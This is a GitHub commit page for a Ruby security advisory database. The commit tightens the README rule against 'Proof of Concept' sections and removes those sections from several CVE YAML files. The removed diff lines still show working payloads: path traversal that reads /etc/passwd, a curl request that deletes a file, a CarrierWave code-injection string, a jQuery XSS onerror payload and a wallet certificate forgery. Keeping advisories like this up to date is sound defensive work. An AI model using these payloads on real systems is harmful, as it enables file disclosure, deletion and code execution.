Skip to content

Commit 5c8bbd6

Browse files
authored
Merge pull request #1132 from connorshea/expand-proof-of-concept-detection
Improve "PoC"/"Proof of Concept" detection to match more variations. The changes were straightforward so I think is okay to merge.
2 parents c9864f1 + c13ebd2 commit 5c8bbd6

13 files changed

Lines changed: 7 additions & 104 deletions

File tree

README.md

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -144,7 +144,8 @@ patched_versions:
144144
vulnerability. It may contain multiple paragraphs.
145145
* Used `description: |` if it is more than one sentence/line.
146146
* Line wrap `descriptions:` field at 80.
147-
* Do no include "POC" or "PoC" in `description:` field.
147+
* Do not include "POC", "PoC", or "Proof of Concept" heading sections
148+
(any casing) in the `description:` field.
148149
* Not use "\n" or "%" in `description:` field.
149150
* `cvss_v2` \[Float\] (optional): The [CVSSv2] score for the vulnerability.
150151
* `cvss_v3` \[Float\] (optional): The [CVSSv3] score for the vulnerability.
@@ -183,7 +184,8 @@ patched_versions:
183184
* Used `description: |` (not `|-`) if it is more than one sentence/line.
184185
* Line wrap `descriptions:` field at 80.
185186
* Not use "\n" or "%" in `description:` field.
186-
* Do no include "POC" or "PoC" in `description:` field.
187+
* Do not include "POC", "PoC", or "Proof of Concept" heading sections
188+
(any casing) in the `description:` field.
187189
* `cvss_v2` \[Float\] (optional): The [CVSSv2] score for the vulnerability.
188190
* `cvss_v3` \[Float\] (optional): The [CVSSv3] score for the vulnerability.
189191
* `cvss_v4` \[Float\] (optional): The [CVSSv4] score for the vulnerability.

gems/bsv-sdk/CVE-2026-40070.yml

Lines changed: 0 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -120,31 +120,6 @@ description: |
120120
attacker-controlled data.
121121
- **A:N** — availability unaffected.
122122
123-
## Proof of concept
124-
125-
```ruby
126-
client = BSV::Wallet::WalletClient.new(key,
127-
storage: BSV::Wallet::MemoryStore.new)
128-
129-
client.acquire_certificate(
130-
type: 'age-over-18',
131-
acquisition_protocol: 'direct',
132-
certifier: claimed_trusted_pubkey_hex,
133-
serial_number: 'any-serial',
134-
revocation_outpoint: ('00' * 32) + '.0',
135-
signature: 'deadbeef' * 16, # arbitrary bytes — never verified
136-
fields: { 'verified' => 'true' },
137-
keyring_for_subject: {}
138-
)
139-
140-
client.list_certificates(
141-
certifiers: [claimed_trusted_pubkey_hex],
142-
types: ['age-over-18']
143-
)
144-
# => returns the forged record as if it were a real
145-
# certificate from that certifier
146-
```
147-
148123
## Affected versions
149124
150125
The vulnerable direct-path code was introduced in commit `d14dd19`

gems/bsv-wallet/CVE-2026-40070.yml

Lines changed: 0 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -123,31 +123,6 @@ description: |
123123
attacker-controlled data.
124124
- **A:N** — availability unaffected.
125125
126-
## Proof of concept
127-
128-
```ruby
129-
client = BSV::Wallet::WalletClient.new(key,
130-
storage: BSV::Wallet::MemoryStore.new)
131-
132-
client.acquire_certificate(
133-
type: 'age-over-18',
134-
acquisition_protocol: 'direct',
135-
certifier: claimed_trusted_pubkey_hex,
136-
serial_number: 'any-serial',
137-
revocation_outpoint: ('00' * 32) + '.0',
138-
signature: 'deadbeef' * 16, # arbitrary bytes — never verified
139-
fields: { 'verified' => 'true' },
140-
keyring_for_subject: {}
141-
)
142-
143-
client.list_certificates(
144-
certifiers: [claimed_trusted_pubkey_hex],
145-
types: ['age-over-18']
146-
)
147-
# => returns the forged record as if it were a real certificate
148-
# from that certifier
149-
```
150-
151126
## Affected versions
152127
153128
The vulnerable direct-path code was introduced in commit `d14dd19`

gems/camaleon_cms/CVE-2024-46987.yml

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -43,12 +43,6 @@ description: |
4343
4444
[send_file]: https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L33-L34
4545
46-
## Proof of concept
47-
48-
An authenticated user can download the /etc/passwd file by visiting an URL such as:
49-
50-
https://<camaleon-host>/admin/media/download_private_file?file=../../../../../../etc/passwd
51-
5246
## Impact
5347
5448
This issue may lead to Information Disclosure.

gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml

Lines changed: 0 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -40,22 +40,6 @@ description: |
4040
Where it is joined in an unchecked manner with the root folder and
4141
then deleted.
4242
43-
**Proof of concept**
44-
The following request would delete the file README.md in the top
45-
folder of the Ruby on Rails application. (The values for auth_token,
46-
X-CSRF-Token and _cms_session would also need to be replaced with
47-
authenticated values in the curl command below)
48-
```
49-
curl --path-as-is -i -s -k -X $'POST' \
50-
-H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
51-
-b $'auth_token=[..]; _cms_session=[..]' \
52-
--data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..
53-
2F..
54-
2F..
55-
2FREADME.md&media_action=del_file' \
56-
$'https://<camaleon-host>/admin/media/actions?actions=true'
57-
```
58-
5943
**Impact**
6044
6145
This issue may lead to a defective CMS or system.

gems/carrierwave/CVE-2021-21305.yml

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,6 @@ description: |
1515
(But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to
1616
DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)
1717
18-
### Proof of Concept
19-
```ruby
20-
class MyUploader < CarrierWave::Uploader::Base
21-
include CarrierWave::RMagick
22-
end
23-
24-
MyUploader.new.manipulate!({ read: { density: "1 }; p 'Hacked'; {" }}) # => shows "Hacked"
25-
```
26-
2718
### Patches
2819
Upgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or
2920
[1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).

gems/google-protobuf/CVE-2021-22569.yml

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,11 +23,6 @@ description: |
2323
minutes by creating large numbers of short-lived objects that cause frequent,
2424
repeated GC pauses.
2525
26-
## Proof of Concept
27-
28-
For reproduction details, please refer to the oss-fuzz issue that identifies
29-
the specific inputs that exercise this parsing weakness.
30-
3126
## Remediation and Mitigation
3227
3328
Please update to the latest available versions of the following packages:

gems/google-protobuf/CVE-2024-7254.yml

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -27,12 +27,6 @@ description: |+
2727
or against Protobuf map fields, creates unbounded recursions that can
2828
be abused by an attacker.
2929
30-
### Proof of Concept
31-
For reproduction details, please refer to the unit tests (Protobuf Java
32-
[LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java)
33-
and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java))
34-
that identify the specific inputs that exercise this parsing weakness.
35-
3630
### Remediation and Mitigation
3731
We have been working diligently to address this issue and have released
3832
a mitigation that is available now. Please update to the latest

gems/jquery-rails/CVE-2012-6708.yml

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,6 @@ description: |
1313
the regular expression. The result is that `jquery` may interpret HTML
1414
as selectors when given certain inputs, allowing for client side code
1515
execution.
16-
17-
## Proof of Concept
18-
$("#log").html(
19-
$("element[attribute='<img src=\"x\" onerror=\"alert(1)\" />']").html()
20-
);
2116
cvss_v2: 4.3
2217
cvss_v3: 6.1
2318
patched_versions:

gems/spree_api/CVE-2026-22588.yml

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -34,8 +34,6 @@ description: |
3434
authorized to modify their own order, the backend does not verify
3535
that the supplied address identifiers belong to the same authenticated user.
3636
37-
**See reference below for POC.**
38-
3937
### Impact
4038
4139
As a result, an attacker can:

0 commit comments

Comments
 (0)